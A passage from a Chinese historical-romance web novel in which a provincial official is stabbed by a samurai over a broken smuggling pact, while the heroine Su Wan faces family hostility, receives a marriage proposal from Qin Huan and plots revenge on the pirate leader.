殷薛氏身穿墨绿绣梅花的长裙，发髻梳得一丝不苟，金丝翡翠簪微微泛光，整个人显得雍容华贵又不失威严。
她的目光在苏绾身上淡淡一扫，随即落在秦欢身上，神情顿时变得柔和起来，慈声道：“欢儿来了！姨母盼了你许久，总算等到你了。”
秦欢微微拱手，“劳烦姨母挂念，晚辈问安。”
苏绾福身行礼，“苏绾见过舅母。”
殷夫人淡淡点头，眼中不见波澜，随即吩咐身边的丫鬟：“快请客人入内，别让他们在外头吹风了。”
言毕，殷夫人令下人安排车马，萧染骑的马有些认生，嘶鸣啼啸，就是不肯让小厮靠近，因而二人在院子里耽搁了一下。
厅中火炉烧得正旺，暖意扑面而来，茶香与果脯的甜香在空气中氤氲弥散。
苏夫人端坐侧席，手执茶盏，见苏绾走进来，嘴角浮起一抹淡笑，“真是稀客，太阳打西边出来了。”
仇人相见，分外眼红。
苏绾心中翻涌着怒意，恨不得将无数的嗔恚劈头盖脸泼到苏夫人身上，但眼下是殷家主母的地盘，碍于礼数，她只能将这股火压了下去。
她上前两步，福身行礼：“女儿见过母亲。”
“呸！”苏夫人啐了一口，冷声道：“可别叫我母亲，我承受不起。”
苏绾脸色一阵青一阵白，手指攥紧袖边，强忍着怒气，咬牙说道：“母亲话不可这么说。您虽已与父亲和离，但终究是供养女儿长大的母亲，这份名分与恩情，是断不了的。”
苏夫人冷哼一声，眼中尽是厌恶，“还敢提起你父亲，提起和离之事！要不是你和芸娘那个贱人搅合，我怎会落得这般境地？你这只黑心的野鸡子，早晚遭报应！”
来自长辈无边无际的谩骂，令苏绾精神几近崩溃。
忽然一道清朗的声音响起。
“这位——可是姨父的小妹，苏夫人？”
秦欢迈前一步，微微作揖：“晚辈秦欢，见过苏夫人。”
苏夫人正骂在兴头上，被这突如其来的介入弄得一愣。她虽痛恨苏绾，但也不敢在殷夫人的外甥面前失了分寸。苏夫人略显僵硬地直了直身子，放下茶盏，勉强挤出一抹笑容：“原来你就是秦欢啊，长得真是一表人才。”
秦欢长身玉立，态度不卑不亢，“苏夫人莫动怒，表妹千里迢迢来此，只是为了拜见长辈，何必风刀霜剑严相逼？撕破了脸面，对谁都不好。”
苏夫人显然没想到对方竟如此直白，毫不给自己留面子。既然对方不领情，她这做长辈的当给他点颜色看看，遂冷声道：“我在教训我的女儿，跟你有什么关系？”
目光上下扫过秦欢，随即冷冷一笑：“怎么？难道你也是上钩的鱼？”
转而睨向苏绾，声音陡然拔高：“女儿，你可真有本事呐！一个罪王世子，一个祭酒独苗，还不够你祸害，如今又盯上了贵妃亲侄。啧啧，真是让我大开眼界！”
这番话字字诛心，令苏绾心中怒火熊熊燃起，拳头不由自主地握紧，“母亲，您讲话越来越不着调，有失长辈的尊严！”
秦欢拦下她，淡然说道：“苏夫人说得不错。我秦某人确实为了表妹痴狂，今生唯她不娶。若夫人还要疾言厉色，恐怕秦某人就要不客气了。”
他声音不高，却透着一种令人不寒而栗的坚定。
苏夫人被他气势所慑，然则又要保全脸面，悻悻道：“那我倒要看看，你娶不娶得了她！”
正厅内气氛僵滞，针落可闻。这时，殷夫人从院中张罗完礼品与马车的琐事，与萧染说笑着步入正厅。
此二人虽素未谋面，然则殷夫人本家做药材买卖，漕运在其中起着决定性的作用。再加上萧染出身农户，对草药种植有些心得，嘴巴又甜会来事，是以二人十分谈得来，俨然忘年交的架势。
萧染见众人脸色各异，空气中弥漫着一股火药味，不禁挑眉打趣道：“怎么了？你们不是亲戚吗？这会儿龇牙咧嘴的，莫非拜年也要打一架？”
他一边说，一边随意拉了把椅子坐下，毫不客气地抓起一块果脯送入口中，一副看热闹不嫌事大的模样。
殷夫人不动声色，笑着招呼众人落座，吩咐下人上茶上点心。
“老爷尚有公事待办，暂且不能出面会客，还请各位多多包涵。”
她转身安排家中适龄的子女一一出来会面，打破僵局的同时，也将殷府的礼数展现得淋漓尽致。
就在众人稍稍放松之际，苏绾却猛然瞧见一道熟悉的身影，一瘸一拐从侧厅缓步走出——竟然是苏家嫡子苏尽欢。
她一时怔住，脸上的从容险些失控。
一别半年有余，少年眉目间虽有几分病态的清秀，但那懒散的神情、漫不经心的步态，无一不显露出他本性难移。苏尽欢朝众人拱了拱手，随便打了个招呼，“哥哥姐姐，好久不见。”
苏绾冷声问道：“你怎么会在这里？”
苏尽欢没料到她会问话，吓了一跳，“我……我来看娘亲。”
那副唯唯诺诺的模样，与往日里趾高气扬的苏尽欢判若两人，显然他是被苏绾整怕了。
原来苏尽欢被送往热河疗养后，品性不改，身边的婢女被他祸害个遍，闹得满院鸡飞狗跳。嫡女苏沅芷忍无可忍，写信催促苏夫人赶紧派人接走他。而她自己，也在随后被温如初招进宫中当女官。
苏绾得知这层隐情，心中警铃大作。苏沅芷对她恨之入骨，如今恐又同前世一样，做了温如初的面首，祸患安可防。
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苏夫人得意道：“我知你们来杭州目的为何，可惜了，恐怕要有所失望咯。”
殷夫人的目光在两人之间一转，随即收回情绪，换上了一副和煦的笑容，“今日既是团聚之日，莫要再计较陈年旧事。”
她转而招手唤过秦欢，拉着他的手细细端详，感慨道：“欢儿啊，我与你娘几年未见，无时无刻不挂念着。近些年来，你娘每次来信，总是絮叨：‘欢儿年逾而立之年，还未娶妻纳妾’，她怕是活不到抱孙子的那一天了。”
说到此处，她眼眶微微泛红，哽咽道：“欢儿，你可知不孝有三，无后为大？你娘日日为你忧心，若是再听不到你的好消息，只怕真要气病了。”
秦欢见此，心中一阵酸楚，充满歉意道：“姨母教训得是。孩儿实在不孝，让娘亲和您为我操碎了心。”
殷夫人叹息一声，语重心长道：“欢儿啊，你是个聪明孩子，有分寸有担当，姨母看在眼里也是骄傲的。可你这婚事……可不能再耽搁下去了。你已经二十四岁了，可不是弱冠之年。家中长辈的心意，你得懂啊。”
秦欢抬起头，目光轻轻扫过苏绾，温声道：“姨母放心，孩儿心里已有属意之人，只是此事尚需些时日，还望您和娘亲多给些宽容。”
殷夫人闻言一怔，随即似乎看透了一切，缓缓道：“你的心上人，莫不是指苏绾吧？”
话音刚落，厅中气氛瞬间变得微妙。众人神色各异，有的轻轻皱眉，有的低头不语。
苏夫人哂笑道：“阿姐真真慧眼如炬，我这女儿，那可是个能耐的人，迷了一个又一个的眼。看看，现在连阿姐的外甥也不放过了。让我这做母亲的，情何以堪啊！”
“她昨日和这个订了婚约，今日又和另一个纠缠不清，明日又不知抓着谁不放。她的那些追随者，也是不要命的庇佑她，为了她争风吃醋，大打出手。啧啧，果然是随了她那窑子里面出来的亲娘。”
苏夫人的话语越来越离谱，情绪也愈加激动，让殷夫人脸面上有些难堪，不得不拿出当家主母的气势来。
殷夫人沉着脸，遽然打断了苏夫人，“住嘴！不必再说了。”
苏夫人听话地闭上了嘴，她在殷夫人面前，并不敢造次，毕竟她如今是寄人篱下。
殷夫人转向秦欢，“欢儿，姨母知道你有心意，但我要告诉你，不管你选择谁，苏绾绝对不行！她的所作所为，令姨母无法接受。你娘也是这么想的，我相信，你心里也明白。”
苏绾被人耳提面命，心里难受极了。她想为自己辩驳几句，可是让她说什么呢？
秦欢的眼神温和且坚定，似乎等待这一刻很久了，“为了成全她，我愿放弃一切。”
殷夫人一愣，“你可知这意味着什么？”
秦欢从容道：“我的心意已决，谁也不能改变。”他转头看向苏绾，目光深情，“苏绾是我唯一的选择。”
殷夫人眼中闪过一丝寒光，“既然如此，那你便自己承担后果。”
苏绾此时心急如焚，原本她是打算通过这次见面，争取殷潜的支持，没想到连殷潜的影子没见到不说，自己却陷入了这般尴尬的局面。可她此刻作为当事人，并没有任何立场去反驳或表达自己的意见，只能默默站在一旁。
萧染嘴里塞满了食物，一旁看热闹不亦乐乎。然而当他看到秦欢一反常态，毫不退缩地为苏绾抗争时，他的看戏兴趣突然骤减，目不转睛地盯着天花板，百无聊赖地发呆。
与此同时，苏尽欢则完全被眼前的局面震住了，不禁对苏绾心生佩服：一个小娼妇，竟能如此巧妙地操控人心，将男人玩弄于股掌之间。
正当气氛僵持不下时，忽然一名下人急匆匆地闯进厅内，慌张地报告：“夫人，不好了，老爷被刺客捅伤了！”
众人顿时面色一变，气氛骤然紧张。
96. 遇刺
早些时候，殷府书房。
檐角悬挂的铜铃将雨势撞得支离破碎，殷潜执狼毫的手此刻悬在公文上方。玄青杭绸直裰压着银丝暗云纹，镶玉腰带勒出清瘦腰线，斑白鬓角被烛火镀了层金边。砚台里新磨的松烟墨随雨气浮动，在“准核”二字晕出铁画银钩。
“老爷，舅爷家车马到角门了。”管家隔着竹帘回话。
殷潜笔锋未停：“就说我还有些公文处理，让夫人前厅待茶。”
管家得命退出房门，镇纸下压着的文书突然被穿堂风掀起，惊得铜雀烛台淌下三寸烛泪，正落在袖口云纹处，凝成赤色琥珀。
殷潜低眸看了一下肮脏的袖口，忍不住叹了口气。
殷潜，字伯远，出身钱塘望族。曾祖父殷弘曾任前朝宰相，以清廉刚正之名，配享太庙。殷家历经百年风雨，在江南士林中根基深厚。
娶妻薛氏，乃徽商之女，药材商贾出身，精于理财。夫妻二人感情和睦，育有三子一女，家中上下打理得井井有条。
殷潜十五岁考取秀才，二十岁中举，从七品知县，一路升至从二品布政使。他为官讲究制衡之道，既不冒进也不站队，江南官场虽无人称颂其德政，却也挑不出错处。
他常告诫子女：“官场如棋局，落子当留七分退路。”
然而，时代的变革，将他推向了风口浪尖。
皇后与贵妃的争斗已持续数月，宫中表面风平浪静，实则暗流涌动。贵妃一系势力日渐衰弱，尤其皇后临盆在即，朝中许多人已在暗暗押注皇后一党。
他不是没想过转投皇后，偏偏宫中最近传出风声，说温如初与皇后走得极近。这个消息，让他不禁冷汗涔涔。
温如初原本是殷潜想要拉拢的一枚重要棋子，也是在他亲自保媒下，温如初与苏夫人的庶女苏绾定下了婚约。
本是一桩手到擒来的买卖，然而拜他那位任性的小妹所赐，婚约变成了一纸空谈，温如初憎恨苏家所有人，甚至还将怒火绵延到他殷潜的头上。
为此殷潜不得不放弃既得利益，转而对这位新贵低头。他心里十分不甘：风水轮流转，这才不过半年光景，他这位二品封疆大吏，已然沦落向小辈折腰的地步。
如今秦家大老远派人来，明摆着打着连襟名义游说。可贵妃这条船迟早要沉，太子的废储已成定局，秦氏一族终将覆灭，殷家也难免受到波及。
殷潜权衡再三，门口这些人，见不得见不得。思议至此，干脆躲起来不见客，反正有他的夫人与小妹应付。
廊下铜漏声声催人，殷潜执笔望向庭中百年银杏。枝桠间新叶未展，倒似他半生经营的棋局——
落子无悔的道理他岂会不知？他自诩半生谨慎，偏教这改天换日的风浪，搅得百年世家的根基都晃了三晃。
湘妃竹门帘骤然掀开，一位不速之客携着水汽撞入书房。斗笠边缘雨水成串，破旧的蓑衣不很合身，腰间刀鞘处的划痕泛着幽光。
烛火被来人带起的风扑得忽明忽暗，殷潜蹙眉道：“你的胆子愈来愈大，竟敢擅闯本官府邸。若是被人看见了，叫本官如何分辩？”
那人摘下斗笠，露出一张三十来岁饱经沧桑的脸，胡茬似钢针，眼神如鹰隼，带着浓重的关外口音：“打扰了殷大人，我家主人有话要传达给您。”
殷潜不悦道：“有什么话，写信不就好了，何必差人亲自送过来？”
“您知道的。书信往来缓慢，太过耽搁时间。”武士低下头解释。
关外口音像砂纸磨过青石，“您与我们之间的交易，本是互利互惠。可自从去年下半年开始，您似乎变得冷淡了，不再与我们合作。这种背叛行为，让我们主人很不高兴。”
殷潜撂下狼毫，墨渍在“准”字上晕开：“三法司盯着漕运，你们贴着茶叶封的货箱......”他敲了敲案上刑部文书，“过不了水门关。”
“可大人却是收了我们上缴的漕运税银，足足一万两呢。”武士俯下身子，蓑衣滴水，洇湿了案上搁置的账目，“我家主人让问大人——沉船时，抓浮木的人，该先顾着哪头？”
殷潜袖中手指掐进掌心，面上却浮起冷笑：“回去告诉你主子，本官最擅长的......”他忽然将浸湿的账册掷进炭盆，火舌窜起三尺，“就是烧了浮木造新船。”
倭寇侵扰沿海已持续两年有余，令当地百姓苦不堪言。究其根源在于倭国南北内战不断，大量溃败的浪人流窜至我朝沿海地区。这些浪人联合本地流民，形成劫掠团伙，肆意袭击商船、洗劫村镇。
而暴行之所以如此猖獗，实因地方官员暗中默许，浙江布政使殷潜正是牵头者。
他与倭寇首领达成协议：开放港口供倭船停泊，纵容其把控漕运、走私货物，却对烧杀抢掠视而不见。
福建都指挥使沈恪最早察觉漕运异常，秘密上京奏报殷潜通敌嫌疑。皇帝震怒，派温如初南下彻查殷潜。不料渡船在黄河遭遇风浪，温如初险些丧命，调查被迫中止。
殷潜虽逃过一劫，然心有余悸。他单方面切断与倭寇联系，销毁往来证据，试图全身而退。
但他低估了这些亡命之徒的贪婪——当初的合作本就是利益交换，如今既被断了财路，倭寇岂会轻易放过他这棵“摇钱树”？
武士指节扣住刀镡的声响，似玉珠落盘，“在我们老家流传一句谚语——只有死人不会背叛。看来，这句话用在您身上，再合适不过。”
言毕，武士身形压低，双手握紧刀柄，玄铁刀刃缓缓出鞘三寸，“忘了跟您说，我家主人准备了一份礼物，送给大人。”
殷潜心中一惊，身子不由自主向后一撤，撞翻青瓷笔洗，泼洒的墨汁与惊呼一同凝在喉咙里，“来——”
“人”字还未露头，只听“噗嗤”一声，武士袖中寒光已然没入他腰间。
殷潜只觉彻骨的寒意自腹部扩散，他低头一看，刀刃入腹之处，玄青直裰绽开暗红血花，恰似雪地里碾碎的朱砂梅。
武士手腕一转，刀锋在脏腑间横移半寸，旋即又利落回手抽刀，血沫顺着鎏金刀纹蜿蜒而下。
殷潜感到喉间涌起一股腥甜的味道，身子抖了抖，猝然喷出一口鲜血，溅落案边公文书稿上，墨字洇成血团。
武士不慌不忙地从怀中取出一方雪白的巾帕，仔细地擦拭刀刃上的血迹。他的动作娴熟，一丝不苟，仿佛是在完成一件庄重的仪式。
刀是武士的魂，必须时刻保持干净，灵魂方能不朽。
“小小礼物，不成敬意。”收刀入鞘的铮鸣截断喘息。
武士戴上斗笠，留下一句美好祝词：
“愿大人长命百岁。”
殷潜涣散的瞳孔里，最后映着武士扭曲的鬼影，终是无力地闭上了眼。
雨声愈发清晰，混杂着小厮的尖叫，震天动地，“来人啊！老爷——老爷他——”
厅中众人面面相觑，随即齐齐站起，殷夫人脸色惨白如纸，跌跌撞撞朝书房奔去。
萧染与秦欢对视一眼，见秦欢轻轻点头，他扔下手中的糕点，转身掠出门外，脚步快得只剩一道风影。
雨下得愈发急了，细密的水珠织成一张帘幕，将街巷笼罩在朦胧的湿雾中。
萧染足尖点过青瓦，身形在雨帘中掠出残影。拐过飞檐时，果然瞧见一位戴着斗笠的武士，踩着青石板上的水洼徐行。
萧染眯起细长的眼眸，喃喃自语：“胆子真大啊，居然敢在太岁头上动土。”
马鞭缠上腕骨又倏然绷直，鞭梢“劈啪”一下撕开雨幕，裂响声惊得武士猛然转身。
斗笠扬起的刹那，萧染已如鹞子翻身扑下，乌金鞭化作一道黑影直取咽喉。
武士旋身抽刀快过雨珠坠地，寒刃一闪截住长鞭，金属碰撞迸出火星。
萧染借力荡开半步，鞭影忽如毒蛇昂首，直噬对方面门。
武士足跟踏碎瓦片，反手一刀直取萧染腰侧，带着凌厉风声。
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萧染险险避开致命一击，回手长鞭绞住刀身发力回扯，试图夺刀。
岂料武士双手一松，顺势让刀脱手。刀在空中飞，他在地上跑。武士凌空而起，瞬息夺回刀柄，反手劈出一道半月银芒。
刀锋斜斜掠过颈侧，萧染鞭尾一甩，毒龙般游向武士手腕。
武士冷哼一声，手腕微抖，脚下踉跄，似是失了平衡。
萧染眼神一亮，抓住机会反击。
谁知武士竟虚晃一招，靴尖勾起半片残瓦，呼啸掷向萧染的面门。
萧染连忙挥鞭挡开瓦片，间隙武士借着反震力倒翻上墙。
待萧染回过神，武士沿着墙头小步奔跑，转瞬没入织雨巷陌。
萧染脸色铁青，低声骂道：“混账东西，竟敢耍老子。”
等到萧染带着满身怒气，脚步重重踏入殷府时，府内已是一片悲戚景象。
殷夫人伏在床边，泣不成声：“好好的，怎就遭贼人刺伤？这是要我的命啊！”
别看苏夫人平日里张扬跋扈，哥哥是她全部的依靠。此时她如惊弓之鸟，整个人软靠在床柱，丹凤眼里满是惊惧与无助。
秦欢半跪在床前，仔细地检查殷潜的伤口。
伤势极为严重，肋差深深刺入左侧肋骨下方，伤口边缘整齐，刀刃稍微上翻，一字状横拉了半寸有余——这是倭国武士惯用的“切腹”手法。
所幸对方未将刀势拉得更宽，否则殷潜早已毙命。
他迅速从药箱中取出清创和缝合工具，先用药液清理伤口，再以针线缝合，敷上止血药粉，最后以纱布包扎整齐。
待处理完毕，秦欢缓缓起身，长舒了一口气，额头渗满了汗珠。
苏绾静静看着，淡然道：“这倒未必是坏事。”
秦欢明显被惊到了，抬眸狐疑地望向苏绾。
苏绾神秘道：“很快你就知道了。”
上一世，温念出差杭州，监督贡茶税收之时，趁机勾结海寇，用双倍漕运分红作饵，诱使倭寇单方面解除与殷潜的合约。
倭寇为了讨好温念，将旧日交易记录、篡改文书等事宜全部交给他。而温念霸占漕运税收，所得银钱，一半奉送阁老，另一半中饱私囊。
殷潜忙前忙后打点，未捞得半点油水，一气之下告上朝廷，却被温念反手一个栽赃嫁祸，呈交了殷潜与倭寇交易罪证，导致殷潜官败落狱。
殷家被温念一招“吃里扒外”彻底打垮，从此再无起色。而那些倭寇，温念用完了，再也没想起来过，最后全部沦为沈恪刀下鬼。
往事如烟。
上一世苏绾曾努力忘却的回忆，如今却慢慢地浮出水面。她将这些重要信息搜罗梳理，结合这半年来偷偷阅读的兵法兵书，竟然理出了一条自己的计谋。
她将此计称之为：借刀杀人。
苏绾抚过袖口暗纹，纠缠的银丝莲花，正似她亲手织就的罗网。
今夜过后，无论是殷潜还是倭寇，都不过是网中待收的鱼。
“我的计谋怎么样？”苏绾仰起粉脸，湿冷的风顺着门缝吹向颈后，像谁呵了口凉气。
烛火劈啪爆了个灯花，摇曳光影在对面聚成一道玄色人影，她仿佛听见男人低低地笑着，凤眸在她的脸颊上卷了卷。
“不错，有本将军的遗风。”她以精湛的口技模仿着男人的语调。
她将烛台向自己方向挪了挪，眸中映出两簇金砂，欢喜道：“也不看看什么样的徒弟，我可是活了两世的奇女子哦。”
“你才哪到哪啊！”苏绾用指甲掐灭一缕将散的青烟，指腹按在滚烫的蜡堆，仿佛被那个家伙隔着火光戳她额头，“跟本将军比，还差得远呢。”
她对着凝固的蜡湖娇嗔道：“差得远，那你倒是……”喉咙里涌上了什么东西。
活过来教教我嘛——
最后一粒火星熄灭时，对面影子化作雾气。苏绾数着雨滴，等它们敲完第一百五十五声，那是他离开她的天数。
97. 起谋
烛火燃至五更，秦欢仍在书房忙碌。他整整忙了一宿，总算将殷潜从鬼门关拉了回来。他微微抬眸，烛光映在他清隽的脸庞上，额间渗出些许细汗。他抬手理了理衣袖，轻轻拭去汗珠，心中谋算着下一步棋局。
殷潜此番遭难，与倭寇反目成仇，眼下自身难保，恐怕无暇再顾及贵妃与太子之事。如此一来，杭州之行未启先败，局势倒是比他预料的还要混乱几分。
可秦欢并不焦急，他向来擅长顺势而为。贵妃气数已尽，倒不如退而求其次，谋一局暗度陈仓。
待皇后诞下皇子之后，御马监那碗掺了西域奇毒的参汤，便会让贵妃神志尽失，不得清明。届时，他再以御医身份连夜进京，奏请皇帝允准贵妃携太子退居青州，以秦家祖宅风水养人为理由，有助调养贵妃身子。
金蝉脱壳之术，他向来运用起来得心应手。
待新储君册立，钟鼓齐鸣，谁还会记得冷宫深处那一缕药香？到那时，秦家百年荣华，便可在青州烟雨中隐世自守。
此计看似守势，实则最合当下时局。殷潜身受重伤，反倒免去了他与苏绾周旋的麻烦。至于温如初那条毒蛇——萧染早已借漕运之名，暗中蓄养十万精兵，蛰伏在黄河入海口，静待时机，准备反攻。
眼下最紧要的，是安抚住苏绾，莫让她再出幺蛾子。
秦欢正思忖着，忽听耳畔一声轻叹，转头便见殷夫人立在书房门口，眼眶微红，神色间满是忧愁。
她轻声道：“欢儿既来了，便多住些时日，也好帮忙照顾一下。你姨父若有个三长两短，叫我们孤儿寡母如何是好？”
秦欢敛去眸底算计，躬身作揖：“姨母放心，姨父自有天佑。只是——”他目光一沉，“不知姨父究竟因何与人结仇至此？”
殷夫人抬袖轻拭泪痕，“你姨父素来谨慎，偏生上月颁了禁倭令。那些浪人喜好混迹烟花之地，如今断了门路，难免怀恨在心，这才——”
她说到此处，已是泣不成声。
秦欢闻言，心下了然。怪不得如今城中鲜少见到倭人，与前几年大不相同——彼时江浙一带，倭人往来频繁，如今骤然断绝，原是这个缘故。
他敛了敛神色，安抚殷夫人几句，未再多言。
可他不知，门外的苏绾，已将这一切听得清清楚楚。
苏绾原本是来探望殷潜的，虽说是舅舅，但她打心底不喜这人——如今她身份已揭破，与殷家毫无血缘关系，何必假惺惺地往来尽孝？
可她另有打算。
苏绾早已琢磨好借刀杀人的计策，本想趁机溜去书房翻找证据线索，奈何殷夫人和秦欢一直守在书房，她根本没有机会下手。无奈之下，只能伏在门后偷听，没想到竟让她听到了禁倭令的事情。
正暗自盘算间，书房的门忽然被人拉开——
“哎哟！”
苏绾细细惊叫一声，猝不及防，竟直接跌入一片温暖而坚实的怀抱。
秦欢垂眸，只见怀中美人青丝微乱，粉颊上那颗泪痣衬得她愈发楚楚动人。她眼尾微微泛红，眸光里惊慌未散，像是一只误入罗网的小鹿，带着几分娇俏，又透着几分无措。
他眸色微深，指尖若有似无地掠过她纤细的手腕，声音含笑：“表妹鬼鬼祟祟，可是在偷听什么？”
苏绾心头猛然一跳，连忙抬头四下望了望，生怕殷夫人听见，赶紧抓住他的衣袖，硬生生将他往外廊拽去。
夜雨新歇，廊外天色微霁，清冷的空气中弥漫着湿润的泥土气息。檐角的水珠滴滴坠落，在青石板上碎成细小的水花，寒意微微渗入衣衫。
秦欢看着苏绾，一双幽深的眼眸流转着笑意，任由她拉着自己的衣袖，不疾不徐地问道：“怎么，表妹是怕姨母知道你偷听，还是怕我知道你又在打什么小算盘？”
苏绾一时语塞，牙齿轻轻咬住下唇，假装镇定道：“表哥多心了，我不过是……”
“不过是什么？”秦欢忽然俯身凑近，清冽的药香瞬间萦绕在她鼻息之间。
苏绾心跳漏了一拍，下意识后退一步，然而脚下的青石微滑，她一个踉跄，身子向后栽歪。
秦欢眼疾手快，一把揽住她的腰肢，将她稳稳带回怀中。
他低低地笑了，嗓音温润缱绻：“表妹这般心虚，莫不是做了什么亏心事？”
苏绾脸颊微热，反应过来后，立刻挣扎着推开他的手，压低声音道：“我才没有！”
她的心慌乱不已，可是冷静下来细细一想，却不知道自己究竟在慌些什么。
秦欢静静睐着她，眼底浮着一抹捉摸不透的光。他唇角微勾：“我昨夜求了姨母许久，要她答应将你许配给我，你猜她怎么说？”
揽着她的手臂缓缓收紧，苏绾几乎整个身子都贴上了他的胸膛。一双小手抵在心窝，她能清晰地感受到两个人的心跳声。
她急促地呼吸着，脑子里乱作一团，声音都有些发虚：“我……我不知道。”
秦欢微微一笑，低下头凑近她耳畔，若有似无地温柔诱哄：“她说，只要你愿意，她绝不会阻拦。”
他顿了顿，凉凉的唇瓣几乎擦过她的耳侧，声音更低了几分，像是一道难以抗拒的蛊惑。
“所以，表妹……嫁给我，好不好？”
轰——
苏绾的脑子彻底炸开了。
她怎么也没想到，秦欢竟会在这样的场合、这样的气氛下，对她求婚！
她一向聪明，什么算计都能看透，唯独这一刻，她竟然毫无防备，甚至不知如何应对。
她怔怔地望着他，脑中混乱不堪。以前的秦欢，从来没有开口提过求娶她，他们之间早已心照不宣，今朝有酒今朝醉，谁也不必许诺什么。
可如今，他却当着她的面，亲口要她嫁给他。
苏绾的指尖微微颤抖，连逃避的借口都一时找不出来。她呼吸急促，甚至觉得这一刻的自己，像是被困在了他为她设下的局中，四面皆是退无可退的围墙。
她下意识地想要挣脱，用力推开秦欢的手，几乎是落荒而逃，结结巴巴道：“我……我要想一想！”
话音未落，她已经快步冲出了长廊。
风掠过檐角，吹散一地潮湿的雨意。
秦欢站在原地，看着她匆忙离去的背影，眼底的笑意渐渐敛去。
他静静地站着，指尖仿佛还残留着她腰肢的温度。
半晌，他轻轻地叹了口气，眸色深沉如夜。
他到底输在何时？
是一年前？两年前？还是两世前？
苏绾匆匆逃离廊下，裙摆翻飞，心跳如擂鼓，仿佛身后仍有秦欢的气息追逐而来。她头也不敢回，一口气径直拐过回廊，一头钻进月亮门。
“咚！”
她猝不及防撞上一个结实的胸膛，被反弹得往后踉跄一步。
苏绾揉着额角，抬眸望去，却见面前立着一位身着竹月色襕衫少年。他身形修长，英气逼人，偏偏一双细长的眼眸半垂，带着几分不耐，居高临下地盯着她看。
噫，竟是小侯爷萧染。
这厮不知为何，鬼鬼祟祟地躲在月亮门后，被她撞上也就罢了，竟然连句道歉话都没有，反倒皱起眉头，满脸嫌弃，抬手将她远远推开。
推得苏绾一个趔趄，身子后仰差点跌倒。
她一时又惊又怒，回过神来瞪向萧染，气得跺脚：“你没长眼睛吗？”
萧染不搭话，轻哼一声，甩了甩袖子，作势要走。
这什么人啊？
苏绾气得牙痒痒，一把揪住他的衣襟，强行将他拽回原地，怒道：“喂，我跟你说话呢！”
萧染低头，直直盯着她。细长的眼尾微微上挑，面色红一阵白一阵，像是被她这贸然举动惊得不轻。
他咬了咬牙，还想故技重施再推她一把，哪知苏绾早有防备，这回铆足了劲，死死揪着他的衣襟不放，誓要讨个说法。
苏绾柳眉倒竖，咬牙切齿：“你撞了我还想一走了之？没那么容易！”
萧染：“……”
真是越怕什么，越来什么。
一大早就触了霉头。
萧染本想趁着天色微明，独自出门透透气，谁知脚步还未踏稳，便在廊下撞见一对妙人紧紧相依——秦欢揽着苏绾，低声呢喃，语调温柔得能滴出水来。
他这几日看惯了两人卿卿我我，仍是觉得格外刺眼。
他心里清楚，自己没可能，也不该有可能，可每次见到这样的场景，胸口就像压了一块大石，沉闷难耐，莫名烦躁。
他索性躲了起来，眼不见，心不烦。
但老天爷偏要跟他作对。
不是在断桥边，就是在回廊下，总能让他撞见那两人含情脉脉地望着彼此。
真是见了鬼了。
更见鬼的是，苏绾竟抓着他的衣襟不放，像是生怕他跑了似的。
萧染甩了甩手，没能甩开，终是无奈叹气：“行了行了，我给你赔不是。”
苏绾满意地松了手，仰起下巴，高傲地打量他：“这还差不多。”
她眼珠子滴溜溜一转，忽然凑近一步，压低声音道：“不过，你这句道歉太敷衍了，光嘴上说说可不行。这样吧，你欠我一个人情。”
萧染警觉地眯了眯眼，“……什么人情？”
苏绾勾唇一笑，缓缓道：“我最近遇到一桩棘手的事，正需要你的帮忙，你就当还我人情了。”
萧染眉心一跳，莫名有种不祥的预感。
果然，苏绾语不惊人
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死不休——
“倭寇刺伤我舅舅，这口气实在难咽。我打听到他们经常出入城里的行院，我打算装扮成花娘潜入进去，悄悄杀了倭寇头目，替舅舅报仇。你看如何？”
萧染脸色当场变了，惨白得堪比大雪初霁。
“你、你胡说八道什么！”他几乎被她吓成结巴，嘴唇翕动半晌，挤出一句：“秦欢肯定不允许！”
“那就不让表哥知道呗。”苏绾理所当然地说道，声音轻快得仿佛不是在谋划刺杀，而是在谈论晚上去哪家酒楼吃饭。
她踮起脚尖，凑近他耳畔，压低声音蛊惑道：“到时候你我里应外合，我先给那倭寇头目下迷药，等他昏了，你再冲进去绑了他，咱们二一添作五，保证天衣无缝。”
萧染听得头皮发麻，连连后退，摆手拒绝：“不行不行，这事我干不来！”
苏绾皱眉，“哎？你可是欠着我人情呢，哪有由着你来说不的道理？”
萧染咬紧牙关，摇头如拨浪鼓：“就算欠你人情也不行！被秦欢知道，他非剁了我不可！”
“啧。”苏绾失望地叹了口气，满脸嫌弃地看着他，“真想不到你竟然这么没种。”
她抱臂看着他，慢悠悠调侃道：“昨日是谁被倭国武士戏弄得狼狈不堪？这口气你就咽得下去？”
萧染脸色一僵。
苏绾步步紧逼：“你就不想扳回一城，给自己找回面子？”
萧染坚定道：“不想。”
苏绾：“……”
他摆出一副死猪不怕开水烫的样子：“我只想活命。”
苏绾简直被他气笑了，伸手戳了戳他的肩膀，揶揄道：“萧染，你到底是不是男人？”
萧染一本正经地回道：“不是。”
苏绾：“……”
她扶额长叹，满脸写着“朽木不可雕也”六个大字。
眼见威逼利诱皆无用，苏绾眼珠一转，只好祭出杀手锏。
她微微凑近，缓缓吐出一句——
“小侯爷，你还记得白云观里的女鬼吗？”
萧染的瞳孔微缩，指尖骤然一紧。
苏绾继续步步紧逼：“你借鬼影浮光惊扰京中，无非是想引起皇室注意，为你母亲寿宁长公主昭雪，为你父亲武安侯讨一个公道。”
萧染的呼吸渐重，眼底涌起波涛。
“可你有否深究过——你母亲为何投井？你父亲又因何自尽？你真以为他们俩甘愿做一对殉情鸳鸯？”
如惊雷在耳旁炸开，将他困守多年的执念，撕开一道血淋淋的口子。萧染檀唇微微颤抖，将字眼生生碾碎：“……什么意思？”
苏绾直视他的眼睛，“一切，皆因圣意。”
她声音低缓，却字字诛心。
“是你的亲舅舅，亲手将你父母逼上绝路。”
“是他，将寿宁长公主推入井中溺死，让她在冰冷黑暗中挣扎哀嚎，直至再无声息。”
“是他，赐毒酒于武安侯，让他怀着满腔忠义，饮下一杯致命的冷酷。”
“也是他，假意迎你回宫，温言软语哄骗你，却不肯让你认祖归宗，只赐你一件肮脏的差事，让你做皇权的走狗。”
“还是他，将你全身上下每一点价值榨干，等到再无可用之处，便随手弃如敝屣。”
天地间一片死寂。
寒风如刀，割破静谧的空气。檐角残留的雨珠顺着瓦沟滴落，砸在青石地面，溅起微不可闻的碎响。
萧染的身子僵直，似有无形的枷锁从四肢百骸紧紧缠上，连呼吸都变得沉重。
